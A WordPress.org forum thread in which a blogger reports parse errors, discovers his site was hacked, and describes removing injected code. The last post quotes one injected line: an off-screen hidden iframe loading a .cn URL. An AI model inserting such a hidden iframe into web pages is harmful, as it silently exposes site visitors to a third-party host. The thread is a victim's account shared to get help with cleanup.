WordPress.org

Ready to get started?Download WordPress

Forums

Sudden parse error - did I get hacked?? (3 posts)

  1. norrismp
    Member
    Posted 5 years ago #

    I have a wordpress blog at http://piphut.com - it was working fine all day (and for the past couple years actually) and then suddenly this afternoon I go to logon and I get a parse error. When I go to the main page I get this erro:

    Parse error: parse error, unexpected $ in /home/content/s/n/a/snaffuo/html/index.php on line 18

    When I go to my admin page I get this error:
    Parse error: parse error, unexpected $ in /home/content/s/n/a/snaffuo/html/wp-includes/default-filters.php on line 198

    The only plugin I updated yesterday was the WP wordpress stats app. Did that screw it up or did my site get hacked? Also, does anyone know how to get it back up and running?

    Thanks,

    Mark

  2. norrismp
    Member
    Posted 5 years ago #

    UPDATE: Ok, site was definitely hacked. I went into the above referenced PHP files and removed hidden code for iframes to some tshirt site ending in .cn. There were actually quite a few more files as well that I had to modify to get the site up and running. I immediately upgraded to 2.7.1 once I was back in dashboard and changed my password. Anyone know where I should check for backdoors they might have left in my site?

  3. norrismp
    Member
    Posted 5 years ago #

    Here's a sample of some of the code it inserted into my PHP code:

    <iframe src="http://mediahousenamemartmovie.cn:8080/ts/in.cgi?pepsi27" style="visibility: hidden; top:-9875px;position:absolute;"></iframe>

    I'm guessing that "pepsi27" is the affiliate code of whoever is doing this. If anyone could track down who that is charges could be pressed...

Topic Closed

This topic has been closed to new replies.

About this Topic